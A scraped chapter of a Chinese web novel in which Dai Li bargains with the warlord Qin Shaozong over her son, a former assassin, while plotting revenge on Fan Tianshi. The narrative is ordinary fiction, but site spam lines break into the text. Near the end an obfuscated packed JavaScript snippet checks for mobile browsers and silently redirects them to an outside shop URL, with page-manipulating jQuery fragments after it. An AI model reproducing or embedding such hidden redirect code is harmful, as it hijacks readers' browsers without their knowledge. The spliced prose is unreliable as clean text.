可能是不能在背后说人,她这边刚说完秦邵宗,黛黎就听到外面二女的见礼声。
黛黎将到了喉间的话咽回去。
很快,那道魁梧的身影从门外走入,进来时挡了大片的日光。
秦邵宗不意外秦宴州在此,只是看到他的脸时,男人长眉挑起,目光从他的额角一路看到下巴尖。
眉眼像极了她,鼻子嘴巴和轮廓却不怎么像,大概是随了他那个有眼无珠的亲爹。
呵,她这品味也不如何,模样生得好些的就能将她迷惑了去。
目光又移回青年的眉眼上,秦邵宗微微颔首,“这看着才像夫人之子。
“什么看着,他本来就是。黛黎不满道,而后问他,“君侯怎么来了?
室内这张长案并非四方案,能坐的唯有长侧相对的两边,黛黎和秦宴州已各占一方。
秦邵宗没有任何生分的走到黛黎那一侧,挨着她,在她身旁坐下,“我没事来不得?
黛黎:“……
秦宴州周身气压低了下来。
对对面若视无睹,秦邵宗见案上有茶盏,抬手给自己倒了茶,“不过此番过来,的确有要事。
秦邵宗抬眼看向一案之隔的青年,语气不咸不淡,“我与你母亲有话要说,你小子自个先到外面去玩。
秦宴州没有动。
一息,两息……
气氛逐渐凝固了,从和熙的春日转到了凉风阵阵的深秋。黛黎忽然意识到一个重要的问题,权衡的问题。
虽说北地如今与兖州隐隐对立,大战一触即发,但万一呢?
万一范兖州惧于二州之威,转头向他们服软,推出一人并声称先前皆是此人妖言惑众,才坏了和平,再将之斩首示众,以此达到弃车保帅的目的。
这一套组合拳打下来,很可能会化干戈为玉帛,三方势力你好我好大家好,调转枪头一同讨伐青莲教。
绝不能如此,她接受不了那个**了她儿子几年的人全身而退,她要他付出代价,要他死!
但她势单力薄,对付范兖州只能借秦邵宗之手,在此之前不能和他闹不愉快。
不过另一方面,黛黎却又很明白,哪怕她隐去了许多,但州州已不是小孩子了。且以秦邵宗那强势性子,说不准昨夜她昏过去后,那家伙该说的不该说的都往外说。
儿子才刚找回来,她不想他不开心。
还未等黛黎想好如何权衡,似乎察觉到她为难的青年起身,“母亲,我在外头等您,您随时可唤我。
黛黎心底苦涩难掩。
她的儿子变敏锐了,她却不敢想是什么经历令他不得不学会看旁人面色。
待他离开后,秦
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
邵宗把茶壶放在炭架上,陶壶与架台碰撞发出轻响,如同一记钟声,令黛黎回过神来。
对面已空出一位,但秦邵宗却丝毫没要挪动的打算,他懒洋洋道:“夫人可知令郎这些年的经历?”
黛黎迟疑着说,“知晓不多,只知他七年前到了范兖州那里艰难讨生活。”
秦邵宗嗯地应了声,而后和她说了范家的背景。他从范家发家说起,三言两语谈到范天石,“……范天石此人尤爱收集孤子,绝大部分从十一二岁开始养起,期间恩威并施,将那些心智还不成熟的孤子训成唯他马首是瞻的狗。后续让他们往东就往东,让杀谁就杀谁,中途不慎**就一卷草席裹了扔去乱葬岗,亦或干脆喂给府中的狼。”
反正都是些无根的浮萍,**就**,无人在意,也无人会为他们讨回公道。
黛黎开始发抖,她双手紧紧握成拳,指甲陷入柔软的掌心,在其内留下一个个深深的月牙印。
秦邵宗这时说起另一件事,“前日半夜有人来袭府,为首的正是令郎。”
黛黎惊呼出声,后知后觉的恐惧将她淹没。
州州方才没说,她也没把这两件事联系在一起。秦邵宗势大,想除掉他的海了去了,她哪想到领头那个黑衣人是她儿子。
那晚秦邵宗说来袭府的,生擒了一个、逃了俩,他没有说杀了几个,这代表着除了那三人以外,所有刺客都被斩于刀下。
州州是逃跑的两个之一。
如果前晚他反应慢些,或是没逃出去,那么绝不会有今日。猜也能猜到,儿子定然是昨日才得知北地寻人一事,否则前晚他就该直接来找她了。
只差一点,只差一点他们母子就再次天人永隔……
一只灼热的大掌这时伸过,裹住她冰凉发抖的手,随后再撑开她握拳的手掌,“夫人,往事不可追,且没发生之事莫要去假设。”
黛黎狠狠咬了下唇,“我知道的,但我忍不住。”
忍不住去猜测那些未发生和已发生的事,懊悔、痛心、怨恨、自责,这些情绪融合成一条阴毒的蛇,不断蚕食着她的理智。
黛黎知道自己的精神有点不正常。
自听到校巴坠江的那一刻起,也自她看到满身伤痕的儿子时,她就不可能回到当初。
前者确实不可追,后者……
范天石必须死,此人不死,难解她心头之恨!
“范天石收养的义子众多,不过这些年死的死、残的残,仍在使用的唯有令郎和另一人。”就事论事,秦邵宗觉得那小子能撑到今日,确实当得上一句筋骨出众,以及命硬。
秦邵宗不急不缓地道:“前头培养最多算两年,也就是令郎约莫自十四岁
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
起就开始为那姓范的办事。小到散布流言和小偷小摸大到诸如前夜晚潜入府中……**。”
最后两个字被他咬重了些果然见她整个一震脸色更白了。
她虽没明确说过但从细枝末节里秦邵宗猜测“桃花源”多半是个不可多得的和平地。
“令郎近几年招惹的仇家夫人猜得多少只手才能数的过来。”
秦邵宗捏了捏她的指尖随后长指插入她的指缝“那些仇家有的只是小门小户不足为惧但也有家大业大的单是我知晓的便有一个青州的州牧。南宫雄先前在宴上与我说青州送往朝廷的礼品被人劫了他猜测**是令郎。南宫雄此人不会无的放矢他既能这般说必定是掌握了一些线索或证据。”
黛黎眼瞳微颤她张了张嘴喉间却如同被塞了把稻草叫她第一时间竟没能说出话来。
第二回她才找回了自己的声音“您先前和我说说若寻到我儿定会拿他当真正的秦氏子对待。”
“确实。”这两个字他说得倒没有迟疑。
黛黎怔了怔一时竟摸不清楚这人葫芦里卖的什么药。
“令郎惹的所有烂事我都会帮他摆平不过作为回报我想夫人永远留在我身边。”他图穷匕现。
不知为何这一刻的黛黎完全没有任何被拿捏或是被要挟的危机感。她莫名想起方才——
州州问她想不想离开?如果想离开他可以帮忙安排。
这话当时听得她心头一震她当时就想问州州你能怎么安排?真有那个能力吗?
秦邵宗势大在北地已然是一手遮天北地能与之抗衡的一个都没有。至于其他地方能与秦邵宗分庭抗礼的
且如果儿子有那等能力为何他不离开范家而要在范家待整整七年?
一个个谜团将黛黎笼罩叫她心乱如麻。
她许久未有应答秦邵宗以拇指摩挲了下她的内腕“夫人考虑得如何?”
能有今时今日的地位注定了秦邵宗绝不是那等默默付出、不图回报的性格。
什么脏活累活都大包大揽最后**行赏时却和个缩头王八似的一棍子下去都打不出一声来。这不是他的作风。
那小子的一堆破事是丢不开手了既然如此为何不趁这时向她更进一步?
毕竟那小子若非她亲子他管他是被人追杀切成八大块还是继续给范天石当狗。
黛黎脑中忽然闪过一道精光她赶紧垂下眼帘挡住眼中异色。
装模作样思索片刻她才迟疑着说:“永远太久了你们这些男人喜新
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
厌旧得厉害。到时您不喜我,我岂非要困在一个小小的院子里,除了修剪花草和喂喂鱼,什么事都做不成。说不准花枝剪秃了,鱼喂得撑**,也见不着您一面。
“不会。他只说了两个字。
至于“不会什么,秦邵宗没具体说。
黛黎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684503|188795||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管他应什么,后面都接这一句,“此事,还望君侯给点时间我考虑。
秦邵宗见她有几分苦恼,但也是低眉顺首,莫名觉得她这副神情有一两分的眼熟,好像在何处见过。
不过此时的秦邵宗被她话语里半藏半露的妥协给吸引了心神,“可,那就给夫人五日时间。
黛黎和他讨价还价,“五日不够的,我儿才刚寻回来,我光是与他说这些年的旧事都能说好长时间。一个月如何?一个月后我给您答复。
怕他不答应,黛黎还提到了战役,“战事在即,君侯近来怕是也不得闲。是五日,还是一个月,于您来说区别并不大。
秦邵宗低眸,望入那双潋滟的眼睛,她的眉眼生得异常优越,此时眼底蒙着未散尽的水光,似风花雪月,更似江畔春水,有种难以言说的风情。
“可。一个晃神间,秦邵宗听到自己再次应声。
黛黎得了应许,立马说起另一件事,“待莫都尉回来了,君侯是否会向兖州开战?
旁边小壶内的水被煮沸,壶口腾腾地冒着热气,一如黛黎此时胸腔里不断翻滚的怨毒。
秦邵宗拿起茶盏轻呷了一口,面上看不出情绪,“看情况。
黛黎知他这话是何意。
他此行南下,主要是为了围剿青莲教,如果兖州真和青莲教搅在一起,那就顺带收拾了。但如果对方识趣,态度大变愿意伏低做小,此事可能会缓一缓。
挨个折断两根筷子,自是比两筷并折要来得容易。
黛黎却一刻也不想多等,她给他煽风点火,“君侯,兖州能派刺客潜入府中,且事后还嫁祸于青州,如此种种,可见这个范兖州狼子野心,是铁了心想撕破北地与青州的结盟。倘若放任不管,或睁一只眼、闭一只眼的大事化小,谁知晓在三方共伐青莲教时,兖州是否会突然发难?到时候祸起萧墙内,他们暗地里与青莲教里应外合,说不准这一战会落得满盘皆输。
秦邵宗转头看她,目光含笑,却是说,“夫人好利害的一张嘴。
两人谁也没移开眼,棕瞳沉稳深不可测,黑眸坚定渐显锐利。
“我承认我有私心,恨不得立马杀尽**我儿之人。
黛黎中途换了称呼,“但主公,我说到底是您的幕僚,难道您认为我方才说的那番话不对吗?如果纳兰先生知晓范兖州派人夜袭府邸,
听说看这本书的人都是很幸运的,分享后你的运气会更棒
他不会劝您先解决兖州吗?我想是会的吧。”
她并不掩饰自己的意图。因为没必要,她与范天石不死不休,恨意既已掩饰不住,又何须画蛇添足?
黛黎抽了抽手,但那只深色的大掌裹得紧,她未能将手收回来。
“君侯,纳兰先生请您去书房一趟。”这时外面有人道。
黛黎听出是乔望飞的声音,她弯了弯嘴唇。
刚她说什么来着,如果纳兰先生知晓兖州搞夜袭,肯定会来劝。瞧,这不就来了!
秦邵宗看着她翘起的唇,仿佛看到她那条蓬松的狐狸尾巴又开始摇了。
男人低笑了声,“夫人神机妙算。”
秦宴州站于距屋门几步开外,乔望飞来禀报时看到他了。
这第一眼,乔望飞险些没认出来。
衣服换了,脸上瘆人的疤也没了,气质似乎也变得平和了许多,整个人脱胎换骨。
不等乔望飞多看,上峰自屋内走出。
秦宴州见秦邵宗出来,目不斜视地入内。
屋内,伤了脚的黛黎还坐在原地,等儿子进来,她低声问,“州州,他出了院没?”
秦宴州闻言退回正门处,扭头看院口方向,只见那里空空如也,方才的两人已离开。
他对黛黎点头。
黛黎招手让他过来入座,和对暗号似的将声音压得很低:“你方才问我想不想离开,我自然是想的。不过如今还不是时候,咱们还得等等。”
秦宴州眼里透出些疑惑,“等什么?”
黛黎笑道:“自然是等秦邵宗帮你扫干净尾巴。范天石必须死,还有州州你这些年结下的仇家,这些都需尽量处理干净。待事成,咱们再离开。”
什么一年之约,什么永远。现在儿子找到了,她不玩了,她要掀桌。